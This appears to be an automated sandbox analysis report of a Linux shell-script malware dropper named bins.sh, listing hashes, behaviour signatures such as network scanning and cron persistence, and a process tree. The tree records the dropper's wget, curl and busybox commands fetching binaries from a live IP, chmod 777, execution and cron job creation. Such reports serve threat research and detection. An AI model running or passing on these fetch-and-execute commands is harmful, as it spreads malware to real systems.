Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 15:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    aea24efa7797a187bea2466ccf0a14f6

  • SHA1

    c8d1d5d93b70c8de6098941ba438058be2d26403

  • SHA256

    9b07515ab2261e313dfe889834a1d3e657eac7132cc863d56050ecdd9a36e25e

  • SHA512

    b4e53ccc6bb5387f2a0cf1429e8e6ca8703f0f437c82026ddabe93d4537b70b2ee338a087dfc83f18b534a471029a4396a57955b45ce9f95f4e7139d7dcc7868

  • SSDEEP

    192:v/E/Q/Iz/zUoVb57XGSC7jd9lpX/IoJJBF/E/Q/Iz/z1balpX/IoLGSC7jG:vM4kwon7XGSC7jd9lpvIoJNM4k8lpvIm

Malware Config

Signatures

  • Contacts a large (2209) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1501
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1502
        • /usr/bin/wget
          wget http://216.126.231.240/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1503
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /bin/chmod
          chmod 777 PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • File and Directory Permissions Modification
          PID:1509
        • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          ./PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1510
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1512
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1513
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1514
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1515
              • /bin/rm
                rm PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW
                2⤵
                  PID:1517
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/RRNb6V64LVMOv5G3j2Wlb81iwAiY1fLUci
                  2⤵
                    PID:1520

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/PZZBvluhwhSO2p8iibQDofx2gfTy59AqVW

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.dELOCw

                  Filesize

                  210B

                  MD5

                  6d6b990059287c9902797f7f08fa0d52

                  SHA1

                  a43af3757fa363e10e945d0f9e5cdea9b01df912

                  SHA256

                  67aea5684bbd72934ca9890d4e7001c5166fe4dc3e43289dfdc07c2126c695d9

                  SHA512

                  60d3163d2f6e23d3519f56c7f3096d4bbcceee7c92cb24c7f5ab1031573d9f6e82481d065999c1958bb8652d4463b44f7ea49815a1fc0011d7689cbcc0b3f535